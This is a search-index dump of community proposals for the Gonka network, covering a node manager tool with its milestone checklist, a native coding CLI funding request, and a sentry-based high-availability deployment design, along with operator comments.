"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#executive-summary", "title": "Executive Summary", "text": "Running Gonka nodes currently requires manual CLI-based installation, configuration, and ongoing maintenance. For experienced operators, initial setup typically takes several hours per node. For less experienced participants, the process often stretches to one or two days — or results in abandonment before a node is ever launched.
This friction actively filters out potential operators, concentrating power among technically advanced users and slowing organic decentralization.
Gonka Node Manager requests $80,000 USD equivalent from the Community Pool to build a production-ready MVP that automates node deployment, updates, and monitoring.
Note: On-chain governance vote (Community Pool spend) will be submitted as a separate transaction once the contract is deployed. This issue tracks the technical proposal and implementation plan.
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#problem-statement", "title": "Problem Statement", "text": "Current node operation requires: - Manual CLI setup taking hours to days per node - SSH access and server-level configuration for every update - No automated monitoring or health visibility - No streamlined process for attaching ML nodes to network nodes
This effectively limits participation to a narrow group of technically advanced users, concentrating operational power and slowing organic decentralization.
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#proposed-solution", "title": "Proposed Solution", "text": "Gonka Node Manager — a unified tool that allows node operators to:
The system operates on top of user-provided infrastructure (physical or virtual) and fits naturally into a decentralized network model.
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#architecture-overview", "title": "Architecture Overview", "text": ""}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#components", "title": "Components", "text": "Component Role Control Plane (Web UI + API) User auth, node management, issues tasks to agents, displays status Node Agent (host daemon) Installed once per host, manages local Docker Compose stacks, communicates outbound only Stack Bundles Deployment definitions: services, ports, health checks, references to official Gonka images"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#core-user-flows", "title": "Core User Flows", "text": "This preserves node sovereignty and aligns with Gonka's decentralization principles.
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#mvp-scope", "title": "MVP Scope", "text": ""}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#included", "title": "Included", "text": "Outcome: Network and ML nodes can be deployed and operate end-to-end - Node agent: deploy, attach, health — 160–200h - Control Plane core APIs — 80–100h - Architecture & core design — 40–60h - Minimal UI — 40–60h - Integration testing — 40–60h
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#phase-2-mvp-auto-updates-2025-of-budget", "title": "Phase 2 — MVP Auto-Updates (20–25% of budget)", "text": "Outcome: Running nodes update themselves automatically - Bundle versioning & signatures — 40–60h - Agent update logic — 40–60h - Control Plane update coordination — 20–30h - Update testing — 20–30h
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#phase-3-mvp-monitoring-1520-of-budget", "title": "Phase 3 — MVP Monitoring (15–20% of budget)", "text": "Outcome: Operators can observe node status and health - Agent health reporting — 30–40h - Backend status aggregation — 20–30h - UI status views — 40–50h
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#phase-4-stabilization-technical-debt-1015-of-budget", "title": "Phase 4 — Stabilization & Technical Debt (10–15% of budget)", "text": "Outcome: Stable, documented, production-ready MVP - Bug fixes and edge cases - Security hardening - Documentation - Final testing
Total estimated effort: 650–880 engineering hours
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#budget", "title": "Budget", "text": "Requested: $80,000 USD equivalent (one-time, from Community Pool)
Funding released in stages tied to phase completion. Cost overruns covered by the team at its own expense — no retroactive compensation requests will be made.
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#accountability", "title": "Accountability", "text": "progress.md updated after each phase with written summary, deliverables, and artifact links2026-02-27 22:43 UTC
Hey! Have you checked out what these guys have already built in this direction? https://gonka.gg/node-setup
What do you think about their implementation?
↳ Ответ от @ochenUmnayaKatyshka · 2026-03-04 13:10 UTC
Our proposal focuses on a different set of operational requirements:
Lifecycle Management: Beyond the initial install, we are building a system for automated updates and configuration changes without requiring manual SSH sessions for every release.
Centralized Visibility: The goal is to provide a dashboard where the status of both Network and ML nodes can be monitored in one place, rather than checking individual server logs.
Orchestration Logic: We are automating the connectivity and firewall rules needed to attach ML nodes to Network nodes, which currently involves several manual steps.
Essentially, while a script handles the deployment process, our tool is designed to manage the node's long-term operation and connectivity automatically.
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#2-aktum1", "title": "Комментарий 2 — @Aktum1", "text": "2026-02-27 22:52 UTC
Also, take a look at this node monitoring Telegram bot: @GonkaHubBot.
↳ Ответ от @Aktum1 · 2026-02-27 22:59 UTC
I’ve been trying to set up my node for a month now.
It’s not exactly a simple setup — 8× A100 40GB. After one of the recent code changes, these GPUs were practically restricted. But I’ve already paid for the server for a month, so now I’m using it to fully test and fine-tune the node deployment process.
I even got a paid Cursor subscription specifically for this. Really hoping I’ll manage to get everything running properly.
If I succeed, I’ll definitely share the full experience with others.
That said, I’m not entirely sure whether node setup can realistically be turned into a “one-click service.” There are so many edge cases and нюances — can a service really account for all of that?
To me, a model based on an AI agent that deeply understands the infrastructure and has access to all up-to-date documentation sounds more scalable than building a rigid setup service.
But I could be wrong.
At the end of the day, we’re basically trying to solve the same problem — just using different tools.
By the way, I’m documenting my entire journey in the Knowledge Base: https://gonka-data-base.gitbook.io/gonka-data-base-en/hosts/node.-testing
Maybe some of it could be useful for your project.
↳ Ответ от @ochenUmnayaKatyshka · 2026-03-04 13:10 UTC
The 'one-click' challenge is exactly why our proposal moves away from simple scripts toward a Node Agent architecture.
A static setup often fails when hardware or dependencies change. Our approach uses the Agent as a local management layer to handle the environment, Docker stacks, and connectivity. The goal of this architecture is to provide a system that accounts for infrastructure nuances and maintains node operation through updates, rather than just performing an initial installation.
The project is designed to automate these manual processes and handle the edge cases that typically arise during long-term node maintenance.
↳ Ответ от @Mayveskii · 2026-03-05 12:58 UTC
Проблема \"работы в один клик\" — именно поэтому в нашем предложении мы отходим от простых скриптов в пользу архитектуры Node Agent.
Статическая настройка часто дает сбой при изменении оборудования или зависимостей. Наш подход использует агент в качестве локального уровня управления для обработки среды, стеков Docker и подключения. Цель этой архитектуры — предоставить систему, которая учитывает нюансы инфраструктуры и поддерживает работу узлов при обновлениях, а не просто выполняет первоначальную установку.
Проект призван автоматизировать эти ручные процессы и обрабатывать нестандартные ситуации, которые обычно возникают при длительном обслуживании узлов.
Unified operator stack: delivery, control, reproducibility Combining Node Manager (#816) and Prometheus exporter (#840) with a thin orchestration layer (e.g. Airflow, optionally n8n) gives a single stack that is not that heavy but covers the main operator needs: delivery, control, and reproducibility. Delivery: Deploy and update nodes via Node Manager; no need to hand-hold each host. Control: Same metrics (block height, POC weight, status) for everyone via the exporter + Prometheus + Grafana — hosts see what we see. Reproducibility: Airflow turns procedures into DAGs: health checks, update windows, report generation, cleanup, even ticket/workflow-style steps (e.g. “after alert → create task → run remediation”). Any scenario you can script becomes repeatable and auditable. So you get one place for “how we deploy”, “how we monitor”, and “how we react and rerun”. The stack is modular: minimal is exporter + Prometheus + Grafana; Node Manager and Airflow (and optionally n8n for event-driven bits) add on top for those who want automation and reproducibility. Worth doing? Yes. It directly tackles “hosts can’t easily configure and monitor like we do”: same tooling, same visibility, and the same ability to encode and replay scenarios instead of ad‑hoc SSH and one-off scripts. If the community wants to invest in operator experience and reproducibility, this is a concrete way to get there.
↳ Ответ от @Mayveskii · 2026-03-06 14:23 UTC
Проблема \"работы в один клик\" — именно поэтому в нашем предложении мы отходим от простых скриптов в пользу архитектуры Node Agent. Статическая настройка часто дает сбой при изменении оборудования или зависимостей. Наш подход использует агент в качестве локального уровня управления для обработки среды, стеков Docker и подключения. Цель этой архитектуры — предоставить систему, которая учитывает нюансы инфраструктуры и поддерживает работу узлов при обновлениях, а не просто выполняет первоначальную установку. Проект призван автоматизировать эти ручные процессы и обрабатывать нестандартные ситуации, которые обычно возникают при длительном обслуживании узлов.
Unified operator stack: delivery, control, reproducibility Combining Node Manager (#816) and Prometheus exporter (#840) with a thin orchestration layer (e.g. Airflow, optionally n8n) gives a single stack that is not that heavy but covers the main operator needs: delivery, control, and reproducibility. Delivery: Deploy and update nodes via Node Manager; no need to hand-hold each host. Control: Same metrics (block height, POC weight, status) for everyone via the exporter + Prometheus + Grafana — hosts see what we see. Reproducibility: Airflow turns procedures into DAGs: health checks, update windows, report generation, cleanup, even ticket/workflow-style steps (e.g. “after alert → create task → run remediation”). Any scenario you can script becomes repeatable and auditable. So you get one place for “how we deploy”, “how we monitor”, and “how we react and rerun”. The stack is modular: minimal is exporter + Prometheus + Grafana; Node Manager and Airflow (and optionally n8n for event-driven bits) add on top for those who want automation and reproducibility. Worth doing? Yes. It directly tackles “hosts can’t easily configure and monitor like we do”: same tooling, same visibility, and the same ability to encode and replay scenarios instead of ad‑hoc SSH and one-off scripts. If the community wants to invest in operator experience and reproducibility, this is a concrete way to get there.
One concrete number for why model-specialization deployment matters for the cache layer in PR #859:
hit_rate = repeat_fraction × (1/M) × (1 − stream_fraction)
M=571 (Qwen3-32B, shared across 571 nodes): hit_rate = 0.000473 M=1 (unique model per node via Node Manager): hit_rate = 0.270
Specialization multiplier: 571× improvement in cache hit rate. At M=1, MaxWeightFractionBps cap (+30% epoch weight) is reached.
Node Manager's \"one model per node\" deployment pattern is the infrastructure prerequisite for the cache economics to work at network scale. The two proposals are complementary: Node Manager creates the conditions, semantic cache captures the reward.
Data source: live network topology, gonka.gg/api/public (1,282 ML nodes, 5 models measured, epoch 190).
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#3-andrey055", "title": "Комментарий 3 — @andrey055", "text": "2026-03-01 17:47 UTC
In the Telegram discussion, some people are saying that this improvement may not be very relevant right now. It seems there are more pressing tasks at the moment, especially since alternative solutions already exist. However, we truly wouldn’t like to lose your willingness to build projects for Gonka.
Perhaps you could consider taking a look at a more relevant task?
↳ Ответ от @ochenUmnayaKatyshka · 2026-03-04 12:36 UTC
You mentioned an existing list of tasks. We would be happy to take a look — could you please point us to where we can find it?
↳ Ответ от @tcharchian · 2026-03-04 18:03 UTC
You mentioned an existing list of tasks. We would be happy to take a look — could you please point us to where we can find it?
We’ve recently published three new proposals on GitHub Discussions, and we’d really any feedback
If you have thoughts, concerns, or improvement ideas, please share them directly in the comments
Also, I opened an additional discussion to highlight three key areas where help is needed https://github.com/gonka-ai/gonka/discussions/817. These are not yet framed as standalone tasks, but they point to three problems where your involvement, perspective, and suggestions would be extremely valuable.
Also, you can filter issues with \"up-for-grabs\" label https://github.com/gonka-ai/gonka/issues?q=is%3Aissue%20state%3Aopen%20label%3Aup-for-grabs and see if there are any open tasks that have no assignee.
More on bounty program: https://gonka.ai/FAQ/#bounty-program
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#4-segovchik", "title": "Комментарий 4 — @SegovChik", "text": "2026-03-09 11:41 UTC
So here is working solution with some limitations(Still in development, so current functional is limited to provision network+mlnode on the same server) https://github.com/inc4/gonka-nop/releases/tag/v0.1.8-rc1. Download binary, execute ./gonka-nop setup and here we are.
↳ Ответ от @SegovChik · 2026-03-09 11:44 UTC
and here is our roadmap of what was done.
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#implementation-milestones", "title": "Implementation Milestones", "text": ""}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#milestone-1-core-cli-framework-complete", "title": "Milestone 1: Core CLI Framework ✅ COMPLETE", "text": ""}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#11-project-scaffolding", "title": "1.1 Project Scaffolding", "text": "Write tests for existing code before adding new features. Target: 70%+ coverage.
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#21-config-package-tests-target-90", "title": "2.1 Config Package Tests (target: 90%+)", "text": "Real system detection replacing mocked implementations. Validated on mainnet (8x A100 SXM4 80GB).
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#31-gpu-detection-real-nvidia-smi-complete", "title": "3.1 GPU Detection (real nvidia-smi) ✅ COMPLETE", "text": "nvidia-smi --query-gpu=index,name,memory.total,driver_version,pci.bus_id --format=csvGPUArchFromName() in gpu_parser.gonvidia-smi topo -m not yet implemented.selectMLNodeImage()ParseDockerVersion() in gpu_parser.gonvidia-ctk --version)docker run --gpus all nvidia/cuda:12.6.0-base-ubuntu22.04 nvidia-smi) — checkCUDAInDocker()docker compose version) — ParseDockerComposeVersion()checkNVIDIADriver()installNVIDIADriver() via aptnvidia-fabricmanager-570) if multi-GPU NVLink detected — checkFabricManager() with auto-start + install promptcheckDriverConsistency()unattended-upgrades package and warn about NVIDIA driver auto-updates — suggests apt-mark hold nvidia-driver-*ParseOSRelease() in gpu_parser.goParseDiskFreeGB(), ParseLsblkJSON()nvidia-ctk runtime configure --runtime=docker)Generate production-ready configs with security and performance defaults learned from validators. Validated on mainnet deploy.
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#41-tppp-recommendation-algorithm-complete", "title": "4.1 TP/PP Recommendation Algorithm ✅ COMPLETE", "text": "recommendConfig() with 4-tier VRAM logicgpu-memory-utilization recommendation: 0.88-0.94 based on VRAM headroom (NOT 0.99)max-model-len calculation based on remaining VRAM after model loading--kv-cache-dtype fp8 for tight VRAM configs (e.g., 8x A100 40GB with 235B)--quantization fp8 either (causes MoE alignment errors)host field validation (no http:// prefix -- common mistake from chat)hardware field auto-populated from GPU detectionmax_concurrent recommendation based on GPU configMODEL_NAME environment variable (mandatory after v0.2.8)VLLM_ATTENTION_BACKEND = FLASHINFER for ALL architectures (3.0.12+ standard, old FLASH_ATTN rule obsolete)GONKA_API_BLOCKED_ROUTES=poc-batches trainingGONKA_API_EXEMPT_ROUTES=chat inferenceDISABLE_CHAIN_API=true, DISABLE_CHAIN_RPC=true, DISABLE_CHAIN_GRPC=truepersistent_peers in config.toml with known-good peersapp.toml with pruning: custom, keep-recent=1000, interval=100GENESIS_SEEDS and SEED_API_URL to reliable endpointsSYNC_WITH_SNAPSHOTS=true)Deploy containers with real orchestration, security hardening, and sync monitoring. Validated on mainnet + testnet.
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#51-docker-compose-orchestration-complete", "title": "5.1 Docker Compose Orchestration ✅ COMPLETE", "text": "-f docker-compose.yml -f docker-compose.mlnode.yml)source config.env + sudo -E for environment variable propagation — internal/docker/env.go + compose.godocker compose pulliptables-persistent integration for rule persistence04_key_management.go--account-pubkey flaggrant-ml-ops-permissions automation — 07_registration.gogonka-nop download-model command + deploy phasedocker run with HF_HOME mountHF_HOME before container startup/admin/v1/setup/report/status, shows block height progress, 30min timeoutPost-deployment commands for ongoing node management. This entire milestone was missing from the original plan and is driven by validator chat analysis showing operators spend most time on operations, not setup.
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#61-gonka-nop-status-real-implementation-complete", "title": "6.1gonka-nop status (real implementation) ✅ COMPLETE", "text": "<public_url>/health, report PASS/FAIL with error details. Critical: port mismatch or wrong registered URL = validators can't verify PoC proofs = node never gains weight. Learned from testnet debugging (2026-02-11).gonka-nop update (safe rollout) ✅ COMPLETE (implemented as M9.2)", "text": "timeslot_allocation via Admin API to find safe windowPOST /admin/v1/nodes/:id/disable--no-deps --force-recreate)POST /admin/v1/nodes/:id/enablegonka-nop reset (blockchain data cleanup)", "text": "inferenced tendermint unsafe-reset-all --keep-addr-book inside containerupgrade-info.json and cosmovisor/ directorygonka-nop cleanup (disk space recovery)", "text": ".inference/data/, cosmovisor backups)gonka-nop ml-node (Admin API wrapper) 🔄 PARTIAL", "text": "ml-node list - GET /admin/v1/nodes (status, allocation, model, hardware, PoC weight)ml-node add - POST /admin/v1/nodes (interactive or from config)ml-node update - PUT /admin/v1/nodes/:id (model, TP/PP, max_concurrent)ml-node enable/disable - POST /admin/v1/nodes/:id/enable|disableml-node status - Detailed: host, ports, model+args, hardware, status/intended mismatch, epoch allocation, PoC weight, timeslots, status freshnessgonka-nop model (model management)", "text": "submit-new-participant with correct flags (validator-key, chain-id, node URL)consensus_pubkey from setup report APIgrant-ml-ops-permissions for ML key/api/v1/pow/init/generate)gonka-nop claim-rewards - Simplified claim flow/admin/v1/claim-reward/recover for missed epochsgonka-nop vote - Simplified governance votingOpt-in push-based monitoring for Gonka validators. Ansible-based deployment in ansible/ subdirectory.
Architecture: Exporter + Prometheus on validator → remote_write push → Central Prometheus + Grafana (operated by inc4). No inbound ports opened on validator nodes.
Components built: - [x] gonka-exporter role — bundles votkon's exporter (28 metrics from 5 API endpoints), builds Docker image locally, deploys via compose - [x] prometheus role — Prometheus with conditional remote_write, alert rules (11 rules in 2 groups), --web.enable-remote-write-receiver for central server - [x] alertmanager role — conditional Telegram/Discord/Slack notifications, route-based severity - [x] grafana role — auto-provisioned datasources + 2 dashboards (Fleet Overview, Node Deep Dive) - [x] playbooks/deploy-all.yml — full stack for central server (exporter + prometheus + alertmanager + grafana) - [x] playbooks/add-node.yml — add internal validator with remote_write to central - [x] playbooks/client-deploy.yml — self-contained for external validators (hardcoded central URL, validates prerequisites, verifies remote_write works) - [x] playbooks/client-teardown.yml — clean removal of monitoring from validator - [x] inventory/client.yml.example — template for external operators - [x] README.md — operator-focused documentation with architecture diagram, metrics table, alert rules, security guarantees - [x] .gitignore — protects client inventory files from accidental commits
Dashboards: - Fleet Overview (gonka-fleet-overview) — multi-node overview with status, block lag, miss rate, PoC weight, GPU, earnings - Node Deep Dive (gonka-node-deep-dive) — per-node detail with $instance template variable
Alert rules (11): - Critical: GonkaMissRateHigh (>20%), GonkaNodeFailed, GonkaBlockLagCritical (>200 blocks), GonkaNodeStopped, GonkaExporterDown - Warning: GonkaBlockLag (>50), GonkaCatchingUp, GonkaGPUUtilizationHigh (>95%), GonkaZeroWeight, GonkaZeroInferences, GonkaStatusMismatch
"}, {"location": "community/discussion/proposals/0816-gonka-node-manager-automated-node-deployment-updates-and-mon/#milestone-9-version-management-complete-34-tasks-pre-seeding-deferred", "title": "Milestone 9: Version Management ✅ COMPLETE (3/4 tasks, pre-seeding deferred)", "text": "Dynamic image versions and safe upgrade handling. Addresses the \"chicken and egg\" problem where NOP hardcodes image versions that become stale after chain upgrades.
Source of truth: gonka-ai/gonka GitHub repository - Mainnet: main branch → deploy/join/docker-compose.yml + docker-compose.mlnode.yml - Testnet: testnet/main branch → same paths
ImageVersions struct with per-service tags (node, api, tmkms, proxy, bridge, mlnode, nginx)FetchImageVersions() fetches from GitHub raw URLs at setup timeParseComposeImageVersions() extracts tags from compose YAML (handles comments, bridge digest pins, proxy vs proxy-ssl)gonka-nop update (safe version update) ✅ COMPLETE", "text": "--check flag to only show available updates without applying/cosmos/gov/v1/proposals)plan.info fieldgonka-nop repair (detect and fix stuck nodes) ✅ COMPLETE", "text": "info field for on-chain binary URLs (source of truth for mainnet vs testnet repos)current symlink to point to upgrade directoryml-node add — POST /admin/v1/nodes (interactive + flag modes)ml-node update <id> — PUT /admin/v1/nodes/:idml-node delete <id> — DELETE /admin/v1/nodes/:id--type network — chain node + API only, skip GPU/mlnode phases--type mlnode --network-node URL — GPU server only, new mlnode-specific phases--type full (default) — current behavior unchanged08_mlnode_config.go — generate mlnode compose + nginx only09_mlnode_deploy.go — docker compose up + register with network node via Admin API🔄 Auto-sync: from Discussion #836 every hour.
"}, {"location": "community/discussion/proposals/0836-gonka-native-coding-cli/#gonka-native-coding-cli", "title": "Gonka-native Coding CLI", "text": "Автор: @Apha205 · Категория: Proposals · Создано: 2026-03-02 12:01 UTC · Обновлено: 2026-04-20 04:41 UTC
"}, {"location": "community/discussion/proposals/0836-gonka-native-coding-cli/#_1", "title": "📝 Описание", "text": "We are an AI-focused open-source organization building infrastructure and applications around decentralized intelligence systems, and we have been early adopters in the AI space, positioning ourselves ahead of the curve by developing tools and experimental systems.
Overview: We are developing a Gonka-native coding CLI— a developer tool that integrates directly with the Gonka network without relying on centralized intermediaries, while providing a seamless command-line experience that fits naturally into modern development workflows. The goal is to make Gonka usable at the command line for developers building software — code generation, version control, refactoring, automation, analysis, powerful toolsets and advanced CLI experience — powered natively by the network. This project is currently in its foundation phase.
The Problem: Most modern AI coding tools sit on top of large centralized API providers rather than interacting with compute networks at the protocol level. This structure introduces unnecessary markups between the user and the actual infrastructure, increases the risk of service restrictions or sudden policy changes, and prevents builders from fully understanding how requests are processed. It also hides the underlying network from developers, meaning the infrastructure powering the intelligence remains invisible and underutilized. As a result, the ecosystem behind the compute layer does not gain direct recognition, measurable adoption, or meaningful developer engagement — even though it is the core engine delivering the capability.
The solution: To realize the full potential of Gonka, builders must be able to communicate with the network at the protocol level rather than through third-party bridges. That means enabling local key control, handling value transfers natively, and sending model execution requests straight to the network infrastructure. Our goal is to engineer this integration layer correctly from the ground up, ensuring reliability, security, and scalability like we do in our other projects.
Delivering this requires implementing local key custody mechanisms, cryptographic request authorization, low-level network request handling, and a system architecture capable of supporting sustained developer usage at scale. Instead of abstracting everything behind another provider, the CLI becomes the direct interface between developers and Gonka’s distributed compute layer.
With the gonka-cli we are building, the Gonka ecosystem itself becomes visible and measurable. Every developer who installs, configures, and integrates the tool into their workflow is actively engaging with Gonka’s infrastructure. Usage is no longer indirect or hidden behind another brand — it becomes explicit. Repositories, automation scripts, and developer environments begin to reference Gonka as part of their stack, increasing recognition organically within the engineering community.
This approach transforms Gonka from being an underlying network into an actively used developer platform. It strengthens technical credibility, increases ecosystem presence, and encourages builders to experiment, benchmark, and innovate directly on top of the infrastructure. Over time, this establishes a stronger feedback loop between network performance and developer needs, which ultimately benefits both the protocol and its contributors.
Development Timeline: With the appropriate backing, we can deliver a developer-ready release within approximately one month. Financial support will allow us to move faster on infrastructure provisioning, core protocol integration, local key management systems, transaction handling components, and performance testing. It will also enable us to refine the developer experience through clear documentation, onboarding flows, and usability improvements to ensure the CLI is practical and production-ready.
We are requesting $20,000 to accelerate infrastructure and deployment readiness.
Conclusion: In conclusion, we see this initiative not only as a technical integration but as a strategic growth lever for the Gonka ecosystem. Each integration reinforces Gonka’s presence within the developer community. In that sense, this is as much a distribution and ecosystem expansion strategy as it is a tooling project — a practical way to strengthen brand recognition while driving meaningful network adoption.
"}, {"location": "community/discussion/proposals/0836-gonka-native-coding-cli/#3", "title": "💬 Комментарии (3)", "text": ""}, {"location": "community/discussion/proposals/0836-gonka-native-coding-cli/#1-aktum1", "title": "Комментарий 1 — @Aktum1", "text": "2026-03-03 09:28 UTC
You can make part 3, right? Is it the best solution right now?
↳ Ответ от @Apha205 · 2026-03-04 23:37 UTC
Yes, we are currently using a fork of mistralai. We could also fork another Python-based coding CLI, depending on what you suggest.
I'm not sure how the team plans to distribute rewards. Ideally, it would be better if the payment could be made in full rather than through a vesting schedule, but I'm open to discussing the terms.
"}, {"location": "community/discussion/proposals/0836-gonka-native-coding-cli/#2-mayveskii", "title": "Комментарий 2 — @Mayveskii", "text": "2026-03-06 14:22 UTC
The CLI layer you're describing maps directly onto Phase 6–7 of GiP #860 (Inference Quality Protocol): https://github.com/gonka-ai/gonka/discussions/860
Phase 6 adds protocol-native endpoints your CLI would consume without any custom routing logic:
GET /v1/models/profiles → per-model quality scores, specialization centroids, latency distributions → CLI picks the best model for the task automatically, from protocol data
Response headers on every request: X-Suggested-Model: Qwen/QwQ-32B ← protocol recommends based on task type X-Task-Archetype: code-review ← detected from the prompt embedding X-Quality-Score: 0.82 ← node quality for this request X-Cache: HIT ← was this served from cache
X-Inference-Feedback: +1/-1 header → CLI sends quality signal back to the protocol after each response → that signal improves routing for all future requests of the same type
Practical result: a CLI built on Phase 6 endpoints gets automatic model selection, quality-aware routing, and feedback loop with zero custom logic. The routing intelligence lives in the protocol, not in the CLI.
Worth coordinating on the endpoint contract so the CLI doesn't duplicate what the protocol layer is building.
"}, {"location": "community/discussion/proposals/0836-gonka-native-coding-cli/#3-havencto", "title": "Комментарий 3 — @HavenCTO", "text": "2026-04-20 00:52 UTC
@Mayveskii @Aktum1 we are shifting focus from a coding cli harness, to a sovereign agent harness - https://github.com/Haven-hvn/haven-core we would like Gonka to be the first web3 provider supported by the harness - https://github.com/Haven-hvn/haven-adapters what is the timeline on approval?
↳ Ответ от @Mayveskii · 2026-04-20 04:41 UTC
RE
Yo bro @HavenCTO , here's my telegramm ... Link me there, i'd like to talk. U write about is 60% done by me, i'm ready for share.
"}, {"location": "community/discussion/proposals/0837-high-availability-fault-tolerance-setup/", "title": "#837 — High-availability / Fault-tolerance Setup", "text": "🔄 Auto-sync: from Discussion #837 every hour.
"}, {"location": "community/discussion/proposals/0837-high-availability-fault-tolerance-setup/#high-availability-fault-tolerance-setup", "title": "High-availability / Fault-tolerance Setup", "text": "Автор: @blizko · Категория: Proposals · Создано: 2026-03-02 12:38 UTC · Обновлено: 2026-03-03 11:47 UTC
"}, {"location": "community/discussion/proposals/0837-high-availability-fault-tolerance-setup/#_1", "title": "📝 Описание", "text": ""}, {"location": "community/discussion/proposals/0837-high-availability-fault-tolerance-setup/#high-availability-fault-tolerance-problem", "title": "High-availability / Fault-tolerance Problem", "text": "In the current deploy architecture, we have a bottleneck that a single issue with a node or api container can lead to failure of a multitude of MLNodes. There is a real need for redundancy in all parts of the system.
Current architecture of deploy has essentially a single instance of node container per api container Any failures or lags of node containers (due to any reason like like overloading / hardware issue / ddos / etc) of api container essentially can easily lead to exclusion and miss of full reward per epoch for this validator Examples include already observed network events, such as - Request DDOS, chain-rpc attacks Even small lags of node container of active validator lead to inability to sign blocks => node becomes jailed and might be slashed
In current default deployment, a single instance of a chain node (node container) is responsible for both: - producing and signing blocks, used for reading data from the blockchain by api container - also used for /chain-api, /chain-rpc requests from the final users.
Essentially, if any of the requests from users of the api container is heavy enough (or if there are a lot of them), it directly affects the performance of processing data from other peers (by any limits like CPU / disk IO, etc.). Which causes lags (nodes can’t be in sync with the chain) but also it doesn’t sign blocks in time which might cause the whole chain slow downs. Which essentially happened on the chain during last months.
Ideally, user requests must never directly hit the instance of the node container which produces and signs blocks. In the same way they should not be able to affect the instance which is used by api to get the latest data from the chain.
Sentries architecture
There is a well known solution to hide validators from direct access (both any APIs and P2P connections with other nodes to minimize chances of DDOS) called Sentry Deploy
Essentially the idea is to have several read-only (sentry) nodes, which communicate with the network and are visible for everyone but they don’t actively participate in the blocks producing / signing The validator itself, which is responsible for producing and signing blocks lives in the internal network and doesn’t have public IP at all / any ports opened. Usually, such a node has all APIs disabled and also has disabled snapshots, it prunes everything and doesn't make any indexation. The goal is to achieve optimal performance for such containers.
Originally, that means any potential transactions which are gossiped to its mempool will be going through one of the Sentry nodes and will be rejected in advance if there are any significant issues in them.
Sentries + Cluster
The Sentry architecture is focused on protecting the validators mempool and does not take into account that api container must have access to up-to-date chain’s state and must also not be affected by any external requests.
Based on this we propose architecture for the deployment of cluster, which uses the idea of Sentry node but additionally explicitly separates the instances which can be accessed externally (and their failures must not affect the whole validator) and the ones which are critical and should never be exposed. We’re trying to do this in a way when bigger nodes can add more instances / redundancy to handle more traffic.
The proposal suggests to use 2 pools of node instances:
1. Public Sentries This is exactly the same idea of sentry nodes, which are used as a shield to protect validators. They all can have some short history of snapshots to still keep disk usage relatively low. Only some of them should have enabled /chain-api and /chain-rpc and be available for user requests, (the user request can be redirected by load balancers to the node with enabled one). Snapshots are stored only on such nodes.
2. Private Cluster The private cluster lives in an internal network and uses all public sentries as persistent peers. Nodes in the private cluster don’t have public interfaces and accept requests only from each other, sentry nodes and api container(-s). One of the nodes in Private Cluster is an active Validator for this host, it doesn’t have direct access to Consensus Key and sign blocks using signer (tmkms). Host can’t have multiple Validator nodes at the same time to avoid double-signing by the same Consensus Private key. But if the Validator has any technical issues, any other nodes from the Private Cluster can be promoted to be the Validator. The promotion includes stopping the previous active validator and re-connect TMKMS (which has the Consensus Private Key) from the old one to the new one. Note - The switchover itself is a point of failure. Additional health-checks and automation should be considered.
All private validators store only short latest history of states, don’t make snapshots and have aggressive pruning enabled
The api container get’s all data only from private nodes, they are considered to be up to date as long as at least one sentry node is in sync. If some of nodes in private nodes becomes unavailable, api container switches to the next available node
Note - A separate enhancement is in api component to ensure that multiple nodes are used instead of one (One of the issues is not only the fact of unavailability, but also synchronisation state of nodes. The \"catching-up\" state of the node does not accurately represent the status. Thus, a check should be performed on the \"freshness\" of data. E.g. last_block_time > time()-10s)
Both Public Sentries and Private Cluster can potentially be re-used if the same owner maintaining several independent validators (several consensus keys)
"}, {"location": "community/discussion/proposals/0837-high-availability-fault-tolerance-setup/#api-instance-problem", "title": "Api Instance problem", "text": "Currently, a single api instance is responsible for: - MLNode management - POC procedure - Inference Validation - User’s request execution
And if an instance has any issues due to the amount of inferences from the client, it can directly affect participating in POC and lead to validator exclusion and missing reward. In addition - The PoC design currently expects that a single callback endpoint exists. It is also expected that a single instance is used to send PoC / validation artifacts to the network.
"}, {"location": "community/discussion/proposals/0837-high-availability-fault-tolerance-setup/#api-enhancement-proposal", "title": "API enhancement proposal", "text": "There is no hard limitation to have only one api container at the time. Roles of the api container can be separated to - MLNode / POC Manager, vs Public Inference. Idea is to never expose Manager externally, but have automatic scaling of the roles which handles client inference requests (since requests are stateless and there is no requirement on request “stickyness”)
